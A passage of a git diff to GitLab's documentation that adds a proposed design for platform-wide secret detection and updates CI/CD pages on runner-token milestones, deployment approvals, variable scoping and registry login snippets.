`%15.9` | Create database migration to add `ci_runner_machines.id` foreign key to `ci_builds_metadata` table. | +| GitLab Rails app | `%15.8` | Create database migrations to add `allow_runner_registration_token` setting to `application_settings` and `namespace_settings` tables (default: `true`). | +| GitLab Rails app | `%15.8` | Create database migration to add config column to `ci_runner_machines` table. | | GitLab Runner | | Start sending `system_id` value in `POST /jobs/request` request and other follow-up requests that require identifying the unique system. | | GitLab Rails app | | Create service similar to `StaleGroupRunnersPruneCronWorker` service to clean up `ci_runner_machines` records instead of `ci_runners` records.<br/>Existing service continues to exist but focuses only on legacy runners. | +| GitLab Rails app | | Create `ci_runner_machines` record in `POST /runners/verify` request if the runner token is prefixed with `glrt-`. | +| GitLab Rails app | | Use runner token + `system_id` JSON parameters in `POST /jobs/request` request in the [heartbeat request](https://gitlab.com/gitlab-org/gitlab/blob/c73c96a8ffd515295842d72a3635a8ae873d688c/lib/api/ci/helpers/runner.rb#L14-20) to update the `ci_runner_machines` cache/table. | ### Stage 4 - New UI | Component | Milestone | Changes | |------------------|----------:|---------| -| GitLab Runner | | Implement new GraphQL user-authenticated API to create a new runner. | -| GitLab Runner | | [Add prefix to newly generated runner authentication tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/383198). | -| GitLab Rails app | | Implement UI to create new runner. | -| GitLab Rails app | | GraphQL changes to `CiRunner` type. | -| GitLab Rails app | | UI changes to runner details view (listing of platform, architecture, IP address, etc.) (?) | +| GitLab Rails app | `%15.10` | Implement new GraphQL user-authenticated API to create a new runner. | +| GitLab Rails app | `%15.10` | [Add prefix to newly generated runner authentication tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/383198). | +| GitLab Rails app | `%15.10` | Implement UI to create new runner. | +| GitLab Rails app | `%15.10` | GraphQL changes to `CiRunner` type. | +| GitLab Rails app | `%15.10` | UI changes to runner details view (listing of platform, architecture, IP address, etc.) (?) | ### Stage 5 - Optional disabling of registration token diff --git a/doc/architecture/blueprints/secret_detection/index.md b/doc/architecture/blueprints/secret_detection/index.md new file mode 100644 index 00000000000..26551367a7c --- /dev/null +++ b/doc/architecture/blueprints/secret_detection/index.md @@ -0,0 +1,167 @@ +--- +status: proposed +creation-date: "2022-11-25" +authors: [ "@theoretick" ] +coach: "@DylanGriffith" +approvers: [ "@connorgilbert", "@amarpatel" ] +owning-stage: "~devops::secure" +participating-stages: [] +--- + +# Secret Detection as a platform-wide experience + +## Summary + +Today's secret detection feature is built around containerized scans of repositories +within a pipeline context. This feature is quite limited compared to where leaks +or compromised tokens may appear and should be expanded to include a much wider scope. + +Secret detection as a platform-wide experience encompasses detection across +platform features with high risk of secret leakage, including repository contents, +job logs, and project management features such as issues, epics, and MRs. + +## Motivation + +### Goals + +- Support asynchronous secret detection for: + - push events + - issuable creation + - issuable updates + - issuable comments + +### Non-Goals + +The current proposal is limited to asynchronous detection and alerting only. + +**Blocking** secrets on push events is high-risk to a critical path and +would require extensive performance profiling before implementing. See +[a recent example](https://gitlab.com/gitlab-org/gitlab/-/issues/246819#note_1164411983) +of a customer incident where this was attempted. + +Secret revocation and rotation is also beyond the scope of this new capability. + +Scanned object types beyond the scope of this MVC include: + +- Media types (JPEGs, PDFs,...) +- Snippets +- Wikis + +## Proposal + +To achieve scalable secret detection for a variety of domain objects a dedicated +scanning service must be created and deployed alongside the GitLab distribution. +This is referred to as the `SecretScanningService`. + +This service must be: + +- highly performant +- horizontally scalable +- generic in domain object scanning capability + +Platform-wide secret detection should be enabled by-default on GitLab SaaS as well +as self-managed instances. + +## Challenges + +- Secure authentication to GitLab.com infrastructure +- Performance of scanning against large blobs +- Performance of scanning against volume of domain objects (such as push frequency) + +## Design and implementation details + +The critical paths as outlined under [goals above](#goals) cover two major object +types: Git blobs (corresponding to push events) and arbitrary text blobs. + +The detection flow for push events relies on subscribing to the PostReceive hook +and enqueueing Sidekiq requests to the `SecretScanningService`. The `SecretScanningService` +service fetches enqueued refs, queries Gitaly for the ref blob contents, scans +the commit contents, and notifies the Rails application when a secret is detected. +See [Push event detection flow](#push-event-detection-flow) for sequence. + +The detection flow for arbitrary text blobs, such as issue comments, relies on +subscribing to `Notes::PostProcessService` (or equivalent service) and enqueueing +Sidekiq requests to the `SecretScanningService` to process the text blob by object type +and primary key of domain object. The `SecretScanningService` service fetches the +relevant text blob, scans the contents, and notifies the Rails application when a secret +is detected. + +The detection flow for job logs requires processing the log during archive to object +storage. See discussion [in this issue](https://gitlab.com/groups/gitlab-org/-/epics/8847#note_1116647883) +around scanning during streaming and the added complexity in buffering lookbacks +for arbitrary trace chunks. + +In any case of detection, the Rails application manually creates a vulnerability +using the `Vulnerabilities::ManuallyCreateService` to surface the finding within the +existing Vulnerability Management UI. + +See [technical discovery](https://gitlab.com/gitlab-org/gitlab/-/issues/376716) +for further background exploration. + +### Token types + +The existing Secret Detection configuration covers ~100 rules across a variety +of platforms. To reduce total cost of execution and likelihood of false positives +the dedicated service targets only well-defined tokens. A well-defined token is +defined as a token with a precise definition, most often a fixed substring prefix or +suffix and fixed length. + +Token types to identify in order of importance: + +1. Well-defined GitLab tokens (including Personal Access Tokens and Pipeline Trigger Tokens) +1. Verified Partner tokens (including AWS) +1. Remainder tokens currently included in Secret Detection CI configuration + +### Detection engine + +Our current secret detection offering utilizes [Gitleaks](https://github.com/zricethezav/gitleaks/) +for all secret scanning within pipeline contexts. By using its `--no-git` configuration +we can scan arbitrary text blobs outside of a repository context and continue to +utilize it for non-pipeline scanning. + +Given our existing familiarity with the tool and its extensibility, it should +remain our engine of choice. Changes to the detection engine are out of scope +unless benchmarking unveils performance concerns. + +### Push event detection flow + +```mermaid +sequenceDiagram + autonumber + actor User + User->>+Workhorse: git push + Workhorse->>+Gitaly: tcp + Gitaly->>+Rails: grpc + Sidekiq->>+Rails: poll job + Rails->>-Sidekiq: PostReceive worker + Sidekiq-->>+Sidekiq: enqueue PostReceiveSecretScanWorker + + Sidekiq->>+Rails: poll job + loop PostReceiveSecretScanWorker + Rails->>-Sidekiq: PostReceiveSecretScanWorker + Sidekiq->>+SecretScanningSvc: ScanBlob(ref) + SecretScanningSvc->>+Sidekiq: accepted + Note right of SecretScanningSvc: Scanning job enqueued + Sidekiq-->>+Rails: done + SecretScanningSvc->>+Gitaly: retrieve blob + SecretScanningSvc->>+SecretScanningSvc: scan blob + SecretScanningSvc->>+Rails: secret found + end +``` + +## Iterations + +1. Requirements definition for detection coverage and actions +1. PoC of secret scanning service + 1. gRPC commit retrieval from Gitaly + 1. blob scanning + 1. benchmarking of issuables, comments, job logs and blobs to gain confidence that the total costs will be viable +1. Implementation of secret scanning service MVC (targeting individual commits) +1. Security and readiness review +1. Deployment and monitoring +1. Implementation of secret scanning service MVC (targeting arbitrary text blobs) +1. Deployment and monitoring +1. High priority domain object rollout (priority `TBD`) + 1. Issuable comments + 1. Issuable bodies + 1. Job logs diff --git a/doc/architecture/blueprints/work_items/index.md b/doc/architecture/blueprints/work_items/index.md index 101fdbf4c2d..058282ec2b7 100644 --- a/doc/architecture/blueprints/work_items/index.md +++ b/doc/architecture/blueprints/work_items/index.md @@ -2,7 +2,7 @@ status: accepted creation-date: "2022-09-28" authors: [ "@ntepluhina" ] -coach: "@kamil" +coach: "@ayufan" approvers: [ "@gweaver" ] owning-stage: "~devops::plan" participating-stages: [] @@ -66,6 +66,7 @@ All Work Item types share the same pool of predefined widgets and are customized | start and due date | | | status\* | | | weight | | +| [notes](https://gitlab.com/gitlab-org/gitlab/-/issues/378949) | work_items_mvc | \* status is not currently a widget, but a part of the root work item, similar to title diff --git a/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md b/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md index 4a6b96736df..920e7cca2cb 100644 --- a/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md +++ b/doc/ci/cloud_deployment/ecs/deploy_to_aws_ecs.md @@ -210,7 +210,7 @@ Do not share the secret access key in a public place. You must save it in a secu ### Setup credentials in GitLab to let pipeline jobs access to ECS -You can register the access information in [GitLab Environment Variables](../../variables/index.md#custom-cicd-variables). +You can register the access information in [GitLab CI/CD Variables](../../variables/index.md). These variables are injected into the pipeline jobs and can access the ECS API. 1. Go to **ecs-demo** project on GitLab. diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md index bd9276275a7..a8826a6fdb5 100644 --- a/doc/ci/cloud_deployment/index.md +++ b/doc/ci/cloud_deployment/index.md @@ -31,7 +31,7 @@ After you set up authentication, you can configure CI/CD to deploy. | `AWS_SECRET_ACCESS_KEY` | Your secret access key. | | `AWS_DEFAULT_REGION` | Your region code. You might want to confirm that the AWS service you intend to use is [available in the chosen region](https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/). | -1. Variables are [protected by default](../variables/index.md#protected-cicd-variables). +1. Variables are [protected by default](../variables/index.md#protect-a-cicd-variable). To use GitLab CI/CD with branches or tags that are not protected, clear the **Protect variable** checkbox. @@ -190,7 +190,7 @@ To deploy to EC2, complete the following steps. ``` - If you do not want these JSON objects saved in your repository, add each object - as a separate [file type CI/CD variable](../variables/index.md#cicd-variable-types) + as a separate [file type CI/CD variable](../variables/index.md#use-file-type-cicd-variables) in the project settings. Use the same variable names as above. 1. In your `.gitlab-ci.yml` file, create a CI/CD variable for the name of the stack. For example: diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md index ea62133cb7f..20bdd059a85 100644 --- a/doc/ci/docker/using_docker_build.md +++ b/doc/ci/docker/using_docker_build.md @@ -857,10 +857,10 @@ build: BUILDAH_FORMAT: docker # You may need this workaround for some errors: https://stackoverflow.com/a/70438141/1233435 BUILDAH_ISOLATION: chroot - FQ_IMAGE_NAME: "${CI_REGISTRY_IMAGE}/test" + FQ_IMAGE_NAME: "$CI_REGISTRY_IMAGE/test" before_script: # Log in to the GitLab container registry - - export REGISTRY_AUTH_FILE=${HOME}/auth.json + - export REGISTRY_AUTH_FILE=$HOME/auth.json - echo "$CI_REGISTRY_PASSWORD" | buildah login -u "$CI_REGISTRY_USER" --password-stdin $CI_REGISTRY script: - buildah images @@ -872,7 +872,7 @@ build: ## Use the GitLab Container Registry After you've built a Docker image, you can push it up to the built-in -[GitLab Container Registry](../../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd). +[GitLab Container Registry](../../user/packages/container_registry/build_and_push_images.md#use-gitlab-cicd). ## Troubleshooting diff --git a/doc/ci/docker/using_kaniko.md b/doc/ci/docker/using_kaniko.md index 37b9ea87d7a..b19e65ee396 100644 --- a/doc/ci/docker/using_kaniko.md +++ b/doc/ci/docker/using_kaniko.md @@ -73,7 +73,7 @@ If you authenticate against the [Dependency Proxy](../../user/packages/dependenc you must add the corresponding CI/CD variables for authentication to the `config.json` file: ```yaml -- echo "{\"auths\":{\"$CI_REGISTRY\":{\"auth\":\"$(printf "%s:%s" "${CI_REGISTRY_USER}" "${CI_REGISTRY_PASSWORD}" | base64 | tr -d '\n')\"},\"$CI_DEPENDENCY_PROXY_SERVER\":{\"auth\":\"$(printf "%s:%s" ${CI_DEPENDENCY_PROXY_USER} "${CI_DEPENDENCY_PROXY_PASSWORD}" | base64 | tr -d '\n')\"}}}" > /kaniko/.docker/config.json +- echo "{\"auths\":{\"${CI_REGISTRY}\":{\"auth\":\"$(printf "%s:%s" "${CI_REGISTRY_USER}" "${CI_REGISTRY_PASSWORD}" | base64 | tr -d '\n')\"},\"$CI_DEPENDENCY_PROXY_SERVER\":{\"auth\":\"$(printf "%s:%s" ${CI_DEPENDENCY_PROXY_USER} "${CI_DEPENDENCY_PROXY_PASSWORD}" | base64 | tr -d '\n')\"}}}" > /kaniko/.docker/config.json ``` ### Building an image with kaniko behind a proxy diff --git a/doc/ci/environments/deployment_approvals.md b/doc/ci/environments/deployment_approvals.md index a4815a85bc1..a95c47ca4b0 100644 --- a/doc/ci/environments/deployment_approvals.md +++ b/doc/ci/environments/deployment_approvals.md @@ -113,6 +113,23 @@ NOTE: To protect, update, or unprotect an environment, you must have at least the Maintainer role. +### Optional settings + +#### Allow self-approval + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381418) in GitLab 15.8. + +By default, a user who triggered a deployment pipeline can't self-approve the deployment jobs. +You can allow the self-approval by the following settings: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > CI/CD**. +1. Expand **Protected environments**. +1. From the **Approval options**, check **Allow pipeline triggerer to approve deployment**. + +By enabling this, when a pipeline runs, deployment jobs will automatically be approved in the pipeline +if the triggerer is allowed to approve, otherwise nothing happens. + ## Approve or reject a deployment > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/342180/) in GitLab 14.9 diff --git a/doc/ci/environments/deployment_safety.md b/doc/ci/environments/deployment_safety.md index 1e4eb54c559..cf82238564e 100644 --- a/doc/ci/environments/deployment_safety.md +++ b/doc/ci/environments/deployment_safety.md @@ -130,7 +130,7 @@ ensure that deployments do not happen unexpectedly. Production secrets are needed to deploy successfully. For example, when deploying to the cloud, cloud providers require these secrets to connect to their services. In the project settings, you can -define and protect CI/CD variables for these secrets. [Protected variables](../variables/index.md#protected-cicd-variables) +define and protect CI/CD variables for these secrets. [Protected variables](../variables/index.md#protect-a-cicd-variable) are only passed to pipelines running on [protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines don't get the protected variable. You can also diff --git a/doc/ci/environments/index.md b/doc/ci/environments/index.md index 0c412c85e47..514a0b255c5 100644 --- a/doc/ci/environments/index.md +++ b/doc/ci/environments/index.md @@ -436,6 +436,8 @@ There are multiple ways to clean up [dynamic environments](#create-a-dynamic-env - If you do _NOT_ use [merge request pipelines](../pipelines/merge_request_pipelines.md), GitLab stops an environment [when the associated feature branch is deleted](#stop-an-environment-when-a-branch-is-deleted). - If you set [an expiry period to an environment](../yaml/index.md#environmentauto_stop_in), GitLab stops an environment [when it's expired](#stop-an-environment-after-a-certain-time-period). +To stop stale environments, you can [use the API](../../api/environments.md#stop-stale-environments). + #### Stop an environment when a branch is deleted You can configure environments to stop when a branch is deleted. @@ -534,10 +536,6 @@ Also in the example, `GIT_STRATEGY` is set to `none`. If the `stop_review_app` job is [automatically triggered](../environments/index.md#stop-an-environment), the runner won't try to check out the code after the branch is deleted. -The example also overwrites global variables. If your `stop` `environment` job depends -on global variables, use [anchor variables](../yaml/yaml_optimization.md#yaml-anchors-for-variables) when you set the `GIT_STRATEGY` -to change the job without overriding the global variables. - The `stop_review_app` job **must** have the following keywords defined: - `when`, defined at either: @@ -926,12 +924,17 @@ NOTE: GitLab preserves all commits as [`keep-around` refs](../../user/project/repository/reducing_the_repo_size_using_git.md) so that deployed commits are not garbage collected, even if it's not referenced by the deployment refs. -### Scope environments with specs +### Limit the environment scope of a CI/CD variable > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/2112) in GitLab Premium 9.4. > - Environment scoping for CI/CD variables was [moved](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/30779) from GitLab Premium to GitLab Free in 12.2. > - Environment scoping for Group CI/CD variables [added](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) to GitLab Premium in 13.11. +By default, all [CI/CD variables](../variables/index.md) are available to any job in a pipeline. Therefore, if a project uses a +compromised tool in a test job, it could expose all CI/CD variables that a deployment job used. This is +a common scenario in supply chain attacks. GitLab helps mitigate supply chain attacks by limiting +the environment scope of a variable. + You can limit the environment scope of a CI/CD variable by defining which environments it can be available for. For example, if the environment scope is `production`, then only the jobs @@ -943,10 +946,6 @@ any job can have this variable, regardless of whether an environment is defined. If the environment scope is `review/*`, then jobs with environment names starting with `review/` would have that variable available. -Some GitLab features can behave differently for each environment. -For example, you can -[create a project CI/CD variable to be injected only into a production environment](../variables/index.md#limit-the-environment-scope-of-a-cicd-variable). - In most cases, these features use the _environment specs_ mechanism, which offers an efficient way to implement scoping in each environment group. diff --git a/doc/ci/environments/protected_environments.md b/doc/ci/environments/protected_environments.md index 638bcf77967..b72ee9b388f 100644 --- a/doc/ci/environments/protected_environments.md +++ b/doc/ci/environments/protected_environments.md @@ -210,7 +210,7 @@ configured: This ensures that only operators can configure the organization-wide deployment ruleset. - Developers should be given no more than the Developer role - for the top-level group, or explicitly given the Owner role for a child project + for the top-level group, or explicitly given the Owner role for a child project. They do *not* have access to the CI/CD configurations in the top-level group, so operators can ensure that the critical configuration won't be accidentally changed by the developers. diff --git a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md index 28016216dbb..062bd602c29 100644 --- a/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md +++ b/doc/ci/examples/laravel_with_gitlab_and_envoy/index.md @@ -67,7 +67,7 @@ This test will be used later for continuously testing our app with GitLab CI/CD. ### Push to GitLab Since we have our app up and running locally, it's time to push the codebase to our remote repository. -Let's create [a new project](../../../user/project/working_with_projects.md#create-a-project) in GitLab named `laravel-sample`. +Let's create [a new project](../../../user/project/index.md#create-a-project) in GitLab named `laravel-sample`. After that, follow the command line instructions displayed on the project's homepage to initiate the repository on our machine and push the first commit. ```shell diff --git a/doc/ci/index.md b/doc/ci/index.md index ddc9ba5d475..63db23f8c48 100644 --- a/doc/ci/index.md +++ b/doc/ci/index.md @@ -35,7 +35,7 @@ read the [Introduction to CI/CD with GitLab](introduction/index.md). Video demonstration of continuous integration with GitLab CI/CD: <a href="https://www.youtube.com/watch?v=ljth1Q5oJoo">Continuous Integration with GitLab (overview demo)</a>. </div> <figure class="video-container"> - <iframe src="https://www.youtube.com/embed/ljth1Q5oJoo" frameborder="0" allowfullscreen="true"> </iframe> + <iframe src="https://www.youtube-nocookie.com/embed/ljth1Q5oJoo" frameborder="0" allowfullscreen> </iframe> </figure> ## Concepts diff --git a/doc/ci/introduction/index.md b/doc/ci/introduction/index.md index ccf7ebccb2c..e62c38fc1ec 100644 --- a/doc/ci/introduction/index.md +++ b/doc/ci/introduction/index.md @@ -20,15 +20,13 @@ The three primary approaches for the continuous method are: - [Continuous Delivery](#continuous-delivery) - [Continuous Deployment](#continuous-deployment) -NOTE: Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more. Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/) webcast to learn about continuous methods and how built-in GitLab CI/CD can help you simplify and scale software development. -> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Learn how to [configure CI/CD](https://www.youtube.com/embed/opdLqwz6tcE). -> - [Make the case for CI/CD in your organization](https://about.gitlab.com/devops-tools/github-vs-gitlab/). -> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Learn how [Verizon reduced rebuilds](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) -> from 30 days to under 8 hours with GitLab. +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i>Learn how to: [configure CI/CD](https://www.youtube.com/watch?v=opdLqwz6tcE). +- [Make the case for CI/CD in your organization](https://about.gitlab.com/devops-tools/github-vs-gitlab/). +- Learn how [Verizon reduced rebuilds](https://about.gitlab.com/blog/2019/02/14/verizon-customer-story/) from 30 days to under 8 hours with GitLab. ## Continuous Integration diff --git a/doc/ci/jobs/ci_job_token.md b/doc/ci/jobs/ci_job_token.md index d95451a67dc..4ae4456c56c 100644 --- a/doc/ci/jobs/ci_job_token.md +++ b/doc/ci/jobs/ci_job_token.md @@ -14,7 +14,7 @@ You can use a GitLab CI/CD job token to authenticate with specific API endpoints - Packages: - [Package Registry](../../user/packages/package_registry/index.md#use-gitlab-cicd-to-build-packages). - [Packages API](../../api/packages.md) (project-level). - - [Container Registry](../../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd) + - [Container Registry](../../user/packages/container_registry/build_and_push_images.md#use-gitlab-cicd) (the `$CI_REGISTRY_PASSWORD` is `$CI_JOB_TOKEN`). - [Container Registry API](../../api/container_registry.md) (scoped to the job's project, when the `ci_job_token_scope` feature flag is enabled). diff --git a/doc/ci/jobs/index.md b/doc/ci/jobs/index.md index 15ec92a896e..753a755cbf3 100644 --- a/doc/ci/jobs/index.md +++ b/doc/ci/jobs/index.md @@ -114,8 +114,10 @@ You can't use these keywords as job names: Job names must be 255 characters or fewer. -Use unique names for your jobs. If multiple jobs have the same name, +Use unique names for your jobs. If multiple jobs have the same name in a file, only one is added to the pipeline, and it's difficult to predict which one is chosen. +If the same job name is used in one or more included files, +[parameters are merged](../yaml/includes.md#override-included-configuration-values). ## Group jobs in a pipeline @@ -267,10 +269,10 @@ You can do this from the job page of the manual job you want to run with additional variables. To access this page, select the **name** of the manual job in the pipeline view, *not* the play (**{play}**) button. -This is useful when you want to alter the execution of a job that uses -[custom CI/CD variables](../variables/index.md#custom-cicd-variables). -Add a variable name (key) and value here to override the value defined in -[the UI or `.gitlab-ci.yml`](../variables/index.md#custom-cicd-variables), +Define CI/CD variables here when you want to alter the execution of a job that uses +[CI/CD variables](../variables/index.md). +Add a variable name (key) and value to [override the value](../variables/index.md#override-a-defined-cicd-variable) +defined in the UI or `.gitlab-ci.yml` for a single run of the manual job.  diff --git a/doc/ci/jobs/job_control.md b/doc/ci/jobs/job_control.md index d26c698af89..3cd57ff6a6a 100644 --- a/doc/ci/jobs/job_control.md +++ b/doc/ci/jobs/job_control.md @@ -125,7 +125,7 @@ job: rules: - if: $CI_COMMIT_BRANCH changes: - compare_to: refs/heads/main + compare_to: 'refs/heads/main' paths: - '*' ``` @@ -315,7 +315,7 @@ Other commonly used variables for `if` clauses: - `if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $CI_COMMIT_TITLE =~ /Merge branch.*/`: If the commit branch is the default branch and the commit message title matches a regular expression. For example, the default commit message for a merge commit starts with `Merge branch`. -- `if: $CUSTOM_VARIABLE !~ /regex-expression/`: If the [custom variable](../variables/index.md#custom-cicd-variables) +- `if: $CUSTOM_VARIABLE !~ /regex-expression/`: If the [custom variable](../variables/index.md) `CUSTOM_VARIABLE` does **not** match a regular expression. - `if: $CUSTOM_VARIABLE == "value1"`: If the custom variable `CUSTOM_VARIABLE` is exactly `value1`. @@ -754,7 +754,6 @@ deploystacks: STACK: [monitoring, backup] - PROVIDER: [gcp, vultr] STACK: [data] - environment: $PROVIDER/$STACK ``` This example generates 6 parallel `deploystacks` trigger jobs, each with different values @@ -986,8 +985,11 @@ Expressions evaluate as `true` if: For example: -- `$VARIABLE =~ /^content.*/` -- `$VARIABLE_1 !~ /^content.*/` +- `if: $VARIABLE =~ /^content.*/` +- `if: $VARIABLE !~ /^content.*/` + +Single-character regular expressions, like `/./`, are not supported and +produce an `invalid expression syntax` error. Pattern matching is case-sensitive by default. Use the `i` flag modifier to make a pattern case-insensitive. For example: `/pattern/i`. diff --git a/doc/ci/migration/circleci.md b/doc/ci/migration/circleci.md index 034c8ba5ad6..c1e9f97a169 100644 --- a/doc/ci/migration/circleci.md +++ b/doc/ci/migration/circleci.md @@ -268,7 +268,7 @@ test_async: ## Contexts and variables -CircleCI provides [Contexts](https://circleci.com/docs/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/index.md#add-a-cicd-variable-to-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. +CircleCI provides [Contexts](https://circleci.com/docs/contexts/) to securely pass environment variables across project pipelines. In GitLab, a [Group](../../user/group/index.md) can be created to assemble related projects together. At the group level, [CI/CD variables](../variables/index.md#for-a-group) can be stored outside the individual projects, and securely passed into pipelines across multiple projects. ## Orbs diff --git a/doc/ci/migration/jenkins.md b/doc/ci/migration/jenkins.md index 235dd0e80ca..63e9993be90 100644 --- a/doc/ci/migration/jenkins.md +++ b/doc/ci/migration/jenkins.md @@ -21,7 +21,7 @@ that were able to quickly complete this migration: 1. Educate and enable your developers to independently perform the following steps in their projects: 1. Review the [Quick Start Guide](../quick_start/index.md) and [Pipeline Configuration Reference](../yaml/index.md). 1. Use the [Jenkins Wrapper](#jenkinsfile-wrapper) to temporarily maintain fragile Jenkins jobs. - 1. Migrate the build and CI jobs and configure them to show results directly in your merge requests. They can use [Auto DevOps](../../topics/autodevops/index.md) as a starting point, and [customize](../../topics/autodevops/customize.md) or [decompose](../../topics/autodevops/customize.md#using-components-of-auto-devops) the configuration as needed. + 1. Migrate the build and CI jobs and configure them to show results directly in your merge requests. They can use [Auto DevOps](../../topics/autodevops/index.md) as a starting point, and [customize](../../topics/autodevops/customize.md) or [decompose](../../topics/autodevops/customize.md#use-individual-components-of-auto-devops) the configuration as needed. 1. Add [Review Apps](../review_apps/index.md). 1. Migrate the deployment jobs using [cloud deployment templates](../cloud_deployment/index.md), adding [environments](../environments/index.md), and [deploy boards](../../user/project/deploy_boards.md). 1. Work to unwrap any jobs still running with the use of the Jenkins wrapper. @@ -308,7 +308,7 @@ my_job: In GitLab, we use the [`variables` keyword](../yaml/index.md#variables) to define different variables at runtime. These can also be set up through the GitLab UI, under CI/CD settings. See also our [general documentation on variables](../variables/index.md), -including the section on [protected variables](../variables/index.md#protected-cicd-variables). This can be used +including the section on [protected variables](../variables/index.md#protect-a-cicd-variable). This can be used to limit access to certain variables to certain environments or runners: ```yaml diff --git a/doc/ci/pipelines/cicd_minutes.md b/doc/ci/pipelines/cicd_minutes.md index d9ad224ab95..e69c510291d 100644 --- a/doc/ci/pipelines/cicd_minutes.md +++ b/doc/ci/pipelines/cicd_minutes.md @@ -216,9 +216,10 @@ The cost factors on self-managed instances are: #### Cost factor for community contributions to GitLab projects -Community contributors can use up to 300,000 minutes on shared runners when -contributing to open source projects maintained by GitLab. The 300,000 -minutes applies to all SaaS tiers, and the cost factor calculation is: +Community contributors can use up to 300,000 minutes on shared runners when contributing to open source projects +maintained by GitLab. The maximum of 300,000 minutes would only be possible if contributing exclusively to projects [part of the GitLab product](https://about.gitlab.com/handbook/engineering/metrics/#projects-that-are-part-of-the-product). The total number of minutes available on shared runners +is reduced by the CI/CD minutes used by pipelines from other projects. +The 300,000 minutes applies to all SaaS tiers, and the cost factor calculation is: - `Monthly minute quota / 300,000 job duration minutes = Cost factor` @@ -255,9 +256,9 @@ calculations start again from `0`. For example, if you have a monthly quota of `10,000` CI/CD minutes: -- On **1st April**, you have `10,000` minutes. +- On **April 1**, you have `10,000` minutes. - During April, you use only `6,000` of the `10,000` minutes. -- On **1st May**, the accumulated usage of minutes resets to `0`, and you have `10,000` minutes to use again +- On **May 1**, the accumulated usage of minutes resets to `0`, and you have `10,000` minutes to use again during May. Usage data for the previous month is kept to show historical view of the consumption over time. @@ -269,9 +270,9 @@ the next month. For example: -- On **1st April**, you purchase `5,000` additional CI/CD minutes. +- On **April 1**, you purchase `5,000` additional CI/CD minutes. - During April, you use only `3,000` of the `5,000` additional minutes. -- On **1st May**, the unused minute roll over, so you have `2,000` additional minutes available for May. +- On **May 1**, the unused minute roll over, so you have `2,000` additional minutes available for May. Additional CI/CD minutes are a one-time purchase and do not renew or refresh each month. diff --git a/doc/ci/pipelines/downstream_pipelines.md b/doc/ci/pipelines/downstream_pipelines.md index 6c17c23552d..1ada4c4fac1 100644 --- a/doc/ci/pipelines/downstream_pipelines.md +++ b/doc/ci/pipelines/downstream_pipelines.md @@ -244,21 +244,25 @@ To trigger a child pipeline as a [merge request pipeline](merge_request_pipeline ``` 1. Configure the child pipeline jobs to run in merge request pipelines with [`rules`](../yaml/index.md#rules) - or [`workflow:rules`](../yaml/index.md#workflowrules). For example, with `rules` - in a child pipeline's configuration file: + or [`workflow:rules`](../yaml/index.md#workflowrules). + For example, with `rules` in a child pipeline's configuration file: ```yaml job1: - script: ... + script: echo "Child pipeline job 1" rules: - - if: $CI_PIPELINE_SOURCE == "merge_request_event" + - if: $CI_MERGE_REQUEST_ID job2: - script: ... + script: echo "Child pipeline job 2" rules: - - if: $CI_PIPELINE_SOURCE == "merge_request_event" + - if: $CI_MERGE_REQUEST_ID ``` + In child pipelines, `$CI_PIPELINE_SOURCE` always has a value of `parent_pipeline` + and cannot be used to identify merge request pipelines. Use `$CI_MERGE_REQUEST_ID` + instead, which is always present in merge request pipelines. + ### Specify a branch for multi-project pipelines You can specify the branch to use when triggering a multi-project pipeline. GitLab uses diff --git a/doc/ci/pipelines/index.md b/doc/ci/pipelines/index.md index ab98bab022e..324a2fa3ef9 100644 --- a/doc/ci/pipelines/index.md +++ b/doc/ci/pipelines/index.md @@ -75,7 +75,7 @@ You can also configure specific aspects of your pipelines through the GitLab UI. - [Pipeline settings](settings.md) for each project. - [Pipeline schedules](schedules.md). -- [Custom CI/CD variables](../variables/index.md#custom-cicd-variables). +- [Custom CI/CD variables](../variables/index.md#for-a-project). ### Ref specs for runners @@ -156,7 +156,7 @@ The pipeline now executes the jobs as configured. > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) in GitLab 13.7. You can use the [`description` and `value`](../yaml/index.md#variablesdescription) -keywords to define [pipeline-level (global) variables](../variables/index.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file) +keywords to [define pipeline-level (global) variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file) that are prefilled when running a pipeline manually. Use the description to explain information such as what the variable is used for, and what the acceptable values are. diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index cc26ede5f6e..bd788cfd3eb 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -410,7 +410,7 @@ This message is often preceded by other errors or warnings that specify the file generated. Check the job log for these messages. If you find no helpful messages, retry the failed job after activating -[CI/CD debug logging](../variables/index.md#debug-logging). +[CI/CD debug logging](../variables/index.md#enable-debug-logging). This logging should provide information to help you investigate further. 